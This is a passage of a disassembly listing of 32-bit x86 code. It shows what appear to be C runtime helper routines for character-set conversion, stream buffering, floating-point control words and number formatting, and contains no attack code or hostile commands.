		pop	ebx
		leave
		retn
sub_4243B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244FD	proc near		; CODE XREF: sub_41FC2A+61p
					; sub_420AE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DFA20
		jb	short loc_42450C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42450C:				; CODE XREF: sub_4244FD+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DF920[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_4244FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424523	proc near		; CODE XREF: sub_41FD3F+2D4p
					; sub_41FD3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42452F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42452F:				; CODE XREF: sub_424523+8j
		cmp	dword_4DE684, 0
		jnz	short loc_42454A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_42457C
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42454A:				; CODE XREF: sub_424523+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43F824
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DE694
		call	dword_42818C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42457C
		cmp	[ebp+arg_0], 0
		jz	short loc_424589


loc_42457C:				; CODE XREF: sub_424523+1Ej
					; sub_424523+51j
		mov	dword_4DE5C4, 2Ah
		or	eax, 0FFFFFFFFh


loc_424589:				; CODE XREF: sub_424523+57j
		pop	ebp
		retn
sub_424523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42458B	proc near		; CODE XREF: sub_420BB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4245AE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4245AE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4245B4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4245AE
		mov	[eax], bx


loc_4245AE:				; CODE XREF: sub_42458B+Cj
					; sub_42458B+11j ...
		xor	eax, eax


loc_4245B0:				; CODE XREF: sub_42458B+42j
					; sub_42458B+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4245B4:				; CODE XREF: sub_42458B+17j
		cmp	dword_4DE684, ebx
		jnz	short loc_4245CF
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_4245CA
		movzx	ax, al
		mov	[ecx], ax


loc_4245CA:				; CODE XREF: sub_42458B+36j
					; sub_42458B+C0j
		push	1
		pop	eax
		jmp	short loc_4245B0
; ---------------------------------------------------------------------------


loc_4245CF:				; CODE XREF: sub_42458B+2Fj
		mov	ecx, off_43F618
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42462C
		mov	eax, dword_43F824
		cmp	eax, 1
		jle	short loc_424613
		cmp	[ebp+arg_8], eax
		jl	short loc_42461D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DE694
		call	dword_4280E8	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43F824
		jnz	short loc_4245B0


loc_424613:				; CODE XREF: sub_42458B+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42461D
		cmp	[esi+1], bl
		jnz	short loc_4245B0


loc_42461D:				; CODE XREF: sub_42458B+61j
					; sub_42458B+8Bj ...
		mov	dword_4DE5C4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4245B0
; ---------------------------------------------------------------------------


loc_42462C:				; CODE XREF: sub_42458B+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DE694
		call	dword_4280E8	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_4245CA
		jmp	short loc_42461D
sub_42458B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_424660	proc near		; CODE XREF: sub_420BB0+797p
					; sub_420BB0+7E7p
		cmp	cl, 40h
		jnb	short loc_42467A
		cmp	cl, 20h
		jnb	short loc_424670
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_424670:				; CODE XREF: sub_424660+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_42467A:				; CODE XREF: sub_424660+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_424660	endp


; =============== S U B	R O U T	I N E =======================================



sub_42467F	proc near		; CODE XREF: sub_421626+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_4246CB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_42469D
		test	al, 80h
		jz	short loc_4246CB
		test	al, 2
		jnz	short loc_4246CB


loc_42469D:				; CODE XREF: sub_42467F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4246AA
		push	esi
		call	sub_4240B7
		pop	ecx


loc_4246AA:				; CODE XREF: sub_42467F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4246BA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4246CB
		inc	eax
		mov	[esi], eax


loc_4246BA:				; CODE XREF: sub_42467F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_4246D1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_4246D7
		inc	eax
		mov	[esi], eax


loc_4246CB:				; CODE XREF: sub_42467F+9j
					; sub_42467F+18j ...
		or	eax, 0FFFFFFFFh


loc_4246CE:				; CODE XREF: sub_42467F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4246D1:				; CODE XREF: sub_42467F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_4246D7:				; CODE XREF: sub_42467F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_4246CE
sub_42467F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246ED	proc near		; CODE XREF: sub_421C16+52p
		xor	eax, eax
		retn
sub_4246ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246F0	proc near		; CODE XREF: sub_424725+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42473B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4247CD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4246F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424725	proc near		; CODE XREF: sub_421F02+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_4246F0
		pop	ecx
		pop	ecx
		retn
sub_424725	endp


; =============== S U B	R O U T	I N E =======================================



sub_42473B	proc near		; CODE XREF: sub_4246F0+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42474C
		push	10h
		pop	eax


loc_42474C:				; CODE XREF: sub_42473B+Cj
		test	bl, 4
		jz	short loc_424753
		or	al, 8


loc_424753:				; CODE XREF: sub_42473B+14j
		test	bl, 8
		jz	short loc_42475A
		or	al, 4


loc_42475A:				; CODE XREF: sub_42473B+1Bj
		test	bl, 10h
		jz	short loc_424761
		or	al, 2


loc_424761:				; CODE XREF: sub_42473B+22j
		test	bl, 20h
		jz	short loc_424768
		or	al, 1


loc_424768:				; CODE XREF: sub_42473B+29j
		test	bl, 2
		jz	short loc_424772
		or	eax, 80000h


loc_424772:				; CODE XREF: sub_42473B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4247AA
		cmp	edx, 400h
		jz	short loc_4247A7
		cmp	edx, 800h
		jz	short loc_4247A3
		cmp	edx, esi
		jnz	short loc_4247AA
		or	eax, edi
		jmp	short loc_4247AA
; ---------------------------------------------------------------------------


loc_4247A3:				; CODE XREF: sub_42473B+5Ej
		or	eax, ebp
		jmp	short loc_4247AA
; ---------------------------------------------------------------------------


loc_4247A7:				; CODE XREF: sub_42473B+56j
		or	ah, 1


loc_4247AA:				; CODE XREF: sub_42473B+4Ej
					; sub_42473B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4247BA
		cmp	ecx, ebp
		jnz	short loc_4247BF
		or	eax, 10000h
		jmp	short loc_4247BF
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_42473B+72j
		or	eax, 20000h


loc_4247BF:				; CODE XREF: sub_42473B+76j
					; sub_42473B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4247CC
		or	eax, 40000h

locret_4247CC:				; CODE XREF: sub_42473B+8Aj
		retn
sub_42473B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247CD	proc near		; CODE XREF: sub_4246F0+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_4247DD
		push	1
		pop	eax


loc_4247DD:				; CODE XREF: sub_4247CD+Bj
		test	bl, 8
		jz	short loc_4247E4
		or	al, 4


loc_4247E4:				; CODE XREF: sub_4247CD+13j
		test	bl, 4
		jz	short loc_4247EB
		or	al, 8


loc_4247EB:				; CODE XREF: sub_4247CD+1Aj
		test	bl, 2
		jz	short loc_4247F2
		or	al, 10h


loc_4247F2:				; CODE XREF: sub_4247CD+21j
		test	bl, 1
		jz	short loc_4247F9
		or	al, 20h


loc_4247F9:				; CODE XREF: sub_4247CD+28j
		test	ebx, 80000h
		jz	short loc_424803
		or	al, 2


loc_424803:				; CODE XREF: sub_4247CD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424830
		cmp	ecx, 100h
		jz	short loc_42482D
		cmp	ecx, esi
		jz	short loc_424828
		cmp	ecx, edx
		jnz	short loc_424830
		or	ah, 0Ch
		jmp	short loc_424830
; ---------------------------------------------------------------------------


loc_424828:				; CODE XREF: sub_4247CD+50j
		or	ah, 8
		jmp	short loc_424830
; ---------------------------------------------------------------------------


loc_42482D:				; CODE XREF: sub_4247CD+4Cj
		or	ah, 4


loc_424830:				; CODE XREF: sub_4247CD+44j
					; sub_4247CD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424846
		cmp	ecx, 10000h
		jnz	short loc_424848
		or	eax, esi
		jmp	short loc_424848
; ---------------------------------------------------------------------------


loc_424846:				; CODE XREF: sub_4247CD+6Bj
		or	eax, edx


loc_424848:				; CODE XREF: sub_4247CD+73j
					; sub_4247CD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424855
		or	ah, 10h

locret_424855:				; CODE XREF: sub_4247CD+83j
		retn
sub_4247CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424856	proc near		; CODE XREF: sub_4248F5+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42489B
		inc	esi
		cmp	esi, 3
		jge	short loc_424896
		lea	eax, [eax+esi*4]


loc_424888:				; CODE XREF: sub_424856+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42489B
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_424888


loc_424896:				; CODE XREF: sub_424856+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42489B:				; CODE XREF: sub_424856+27j
					; sub_424856+35j
		xor	eax, eax
		pop	esi
		retn
sub_424856	endp


; =============== S U B	R O U T	I N E =======================================



sub_42489F	proc near		; CODE XREF: sub_4248F5+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425720
		add	esp, 0Ch
		dec	esi
		js	short loc_4248F1
		lea	edi, [ebx+esi*4]


loc_4248D8:				; CODE XREF: sub_42489F+50j
		test	eax, eax
		jz	short loc_4248F1
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425720
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_4248D8


loc_4248F1:				; CODE XREF: sub_42489F+34j
					; sub_42489F+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42489F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4248F5	proc near		; CODE XREF: sub_424A50+81p
					; sub_424A50+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424959
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424856
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424956
		push	edi
		push	[ebp+arg_0]
		call	sub_42489F
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424956:				; CODE XREF: sub_4248F5+51j
		mov	eax, [ebp+arg_4]


loc_424959:				; CODE XREF: sub_4248F5+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424979
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424979:				; CODE XREF: sub_4248F5+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4248F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_424981	proc near		; CODE XREF: sub_424A50+75p
					; sub_424A50+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_42498F:				; CODE XREF: sub_424981+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42498F
		pop	esi
		retn
sub_424981	endp


; =============== S U B	R O U T	I N E =======================================



sub_42499C	proc near		; CODE XREF: sub_424A50+5Fp
					; sub_424A50+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42499C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249A8	proc near		; CODE XREF: sub_424A50+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4249AE:				; CODE XREF: sub_4249A8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4249C0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4249AE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4249C0:				; CODE XREF: sub_4249A8+9j
		xor	eax, eax
		retn
sub_4249A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249C3	proc near		; CODE XREF: sub_424A50+C0p
					; sub_424A50+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_4249F9:				; CODE XREF: sub_4249C3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_4249F9
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424A2B:				; CODE XREF: sub_4249C3+86j
		cmp	ebx, edi
		jl	short loc_424A3E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424A45
; ---------------------------------------------------------------------------


loc_424A3E:				; CODE XREF: sub_4249C3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424A45:				; CODE XREF: sub_4249C3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424A2B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4249C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A50	proc near		; CODE XREF: sub_424BBC+Dp
					; sub_424BD2+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424ABD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4249A8
		test	eax, eax
		pop	ecx
		jnz	loc_424B7C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42499C
		pop	ecx


loc_424AB5:				; CODE XREF: sub_424A50+E4j
		push	2


loc_424AB7:				; CODE XREF: sub_424A50+110j
		pop	eax
		jmp	loc_424B7E
; ---------------------------------------------------------------------------


loc_424ABD:				; CODE XREF: sub_424A50+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424981
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4248F5
		add	esp, 10h
		test	eax, eax
		jz	short loc_424ADE
		inc	ebx


loc_424ADE:				; CODE XREF: sub_424A50+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424AF6
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42499C
		pop	ecx
		jmp	short loc_424B32
; ---------------------------------------------------------------------------


loc_424AF6:				; CODE XREF: sub_424A50+98j
		cmp	ebx, eax
		jg	short loc_424B39
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424981
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4249C3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4248F5
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4249C3
		add	esp, 20h


loc_424B32:				; CODE XREF: sub_424A50+A4j
		xor	esi, esi
		jmp	loc_424AB5
; ---------------------------------------------------------------------------


loc_424B39:				; CODE XREF: sub_424A50+A8j
		cmp	ebx, [edi]
		jl	short loc_424B65
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42499C
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4249C3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424AB7
; ---------------------------------------------------------------------------


loc_424B65:				; CODE XREF: sub_424A50+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4249C3
		pop	ecx
		pop	ecx


loc_424B7C:				; CODE XREF: sub_424A50+55j
		xor	eax, eax


loc_424B7E:				; CODE XREF: sub_424A50+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424BAD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424BB7
; ---------------------------------------------------------------------------


loc_424BAD:				; CODE XREF: sub_424A50+14Ej
		cmp	edi, 20h
		jnz	short loc_424BB7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424BB7:				; CODE XREF: sub_424A50+15Bj
					; sub_424A50+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A50	endp


; =============== S U B	R O U T	I N E =======================================



sub_424BBC	proc near		; CODE XREF: sub_424BE8+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43FF98
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424A50
		add	esp, 0Ch
		retn
sub_424BBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424BD2	proc near		; CODE XREF: sub_424C15+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43FFB0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424A50
		add	esp, 0Ch
		retn
sub_424BD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BE8	proc near		; CODE XREF: sub_42203B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4258C1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424BBC
		add	esp, 24h
		leave
		retn
sub_424BE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C15	proc near		; CODE XREF: sub_42203B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4258C1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424BD2
		add	esp, 24h
		leave
		retn
sub_424C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C42	proc near		; CODE XREF: sub_422079+65p
					; sub_42217D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424C7F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424C65:				; CODE XREF: sub_424C42+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424C71
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424C74
; ---------------------------------------------------------------------------


loc_424C71:				; CODE XREF: sub_424C42+27j
		push	30h
		pop	edx


loc_424C74:				; CODE XREF: sub_424C42+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424C65
		mov	edx, [ebp+arg_8]


loc_424C7F:				; CODE XREF: sub_424C42+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424C98
		cmp	byte ptr [ecx],	35h
		jl	short loc_424C98


loc_424C8B:				; CODE XREF: sub_424C42+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424C96
		mov	byte ptr [eax],	30h
		jmp	short loc_424C8B
; ---------------------------------------------------------------------------


loc_424C96:				; CODE XREF: sub_424C42+4Dj
		inc	byte ptr [eax]


loc_424C98:				; CODE XREF: sub_424C42+42j
					; sub_424C42+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424CA2
		inc	dword ptr [edx+4]
		jmp	short loc_424CB4
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424C42+59j
		push	edi
		call	sub_41B650
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D300
		add	esp, 10h


loc_424CB4:				; CODE XREF: sub_424C42+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424C42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424CB9	proc near		; CODE XREF: sub_422079+3Fp
					; sub_42217D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D1D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DE7C0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425D92
		mov	dword_4DE7E8, eax
		add	esp, 18h
		movsx	eax, byte_4DE7C2
		mov	dword_4DE7E0, eax
		pop	edi
		movsx	eax, word_4DE7C0
		mov	dword_4DE7E4, eax
		mov	dword_4DE7EC, offset dword_4DE7C4
		mov	eax, offset dword_4DE7E0
		pop	esi
		leave
		retn
sub_424CB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


